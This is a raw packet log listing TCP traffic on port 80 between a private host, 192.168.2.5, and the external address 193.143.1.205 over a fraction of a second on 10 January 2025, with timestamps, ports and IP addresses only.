Jan 10, 2025 17:58:26.594475985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594510078 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594511032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594521999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594535112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594547033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594592094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594619036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594861984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594873905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594885111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594894886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594907999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594918013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594928980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594944000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594944000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594961882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594964981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.594974041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594984055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.594996929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.595006943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.595020056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.595026016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.595026016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.595033884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.595083952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.595083952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.596997976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608010054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608064890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608077049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608165979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608263016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608273029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608283997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608299017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608309031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608321905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608340979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608340979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608361959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608362913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608375072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608386040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.608431101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.608431101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.609906912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629034996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629046917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629059076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629070044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629081011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629091978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629105091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629111052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629122019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629134893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629139900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629190922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629190922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629369974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629381895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629393101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629405022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629416943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629427910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629436970 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629440069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629452944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629481077 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629498005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629889965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629903078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629913092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629924059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629935980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629947901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629952908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629952908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.629959106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629971027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.629988909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630053997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630230904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630248070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630259991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630285025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630301952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630314112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630319118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630325079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630337000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630347013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630357027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630357027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630359888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630372047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630383015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630393982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630394936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630403042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630407095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630418062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630429029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630440950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630453110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630495071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630495071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.630968094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630980015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.630991936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631002903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631015062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631026983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631040096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631051064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631058931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.631058931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.631062031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631072998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631086111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631092072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631100893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631124020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.631138086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631141901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.631340981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.631771088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.631779909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.632163048 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.633898973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.634247065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634258032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634268999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634279966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634293079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634305000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.634339094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.634339094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.634419918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664069891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664082050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664093018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664113045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664123058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664134979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664144993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664159060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664170980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.664172888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.664587021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.684739113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684752941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684763908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684773922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684793949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684804916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684815884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684894085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.684894085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.684937954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684950113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684959888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684971094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.684983015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685003042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685014009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685025930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685034990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685034990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685173035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685184956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685195923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685214043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685216904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685226917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685236931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685250998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685261965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685271978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685271978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685273886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685292006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685303926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685316086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685324907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685331106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685343027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.685364962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685364962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.685585022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698497057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698508978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698518991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698530912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698540926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698551893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698563099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698566914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698566914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698576927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698615074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698615074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698724985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698736906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698755026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698765039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698775053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698786974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698793888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698800087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698811054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.698826075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698826075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.698906898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.709197998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.718822956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718836069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718847990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718859911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718878031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718888044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718899965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718905926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.718913078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718921900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.718926907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.718954086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719044924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719054937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719064951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719082117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719093084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719103098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719105005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719116926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719129086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719137907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719137907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719158888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719181061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719274998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719285011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719301939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719320059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719330072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719335079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719342947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719353914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719361067 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719364882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719398022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719424009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719499111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719507933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719522953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719533920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719542980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719547033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719554901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719564915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719575882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719584942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719599009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719621897 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719644070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719660044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719671011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719681978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719693899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719701052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719722986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719743967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719757080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719777107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719800949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719813108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719842911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719854116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719856024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719878912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719887018 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719922066 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.719978094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.719989061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720000029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720011950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720022917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720031023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720053911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720067024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720074892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720098972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720125914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720177889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720216036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720236063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720247030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720257998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720276117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720287085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720288038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720299959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720304966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720310926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720321894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720330954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720362902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720410109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720429897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720441103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720453978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720485926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.720530033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720541954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720552921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.720577002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.732578039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732595921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732606888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732620001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732630968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732641935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.732670069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.732690096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.754772902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754787922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754806042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754817009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754829884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754841089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754853010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754863977 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.754867077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:58:26.754887104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.754905939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.758815050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:58:26.775358915 CET	80	49705	193.143.1.205	192.168.2.5
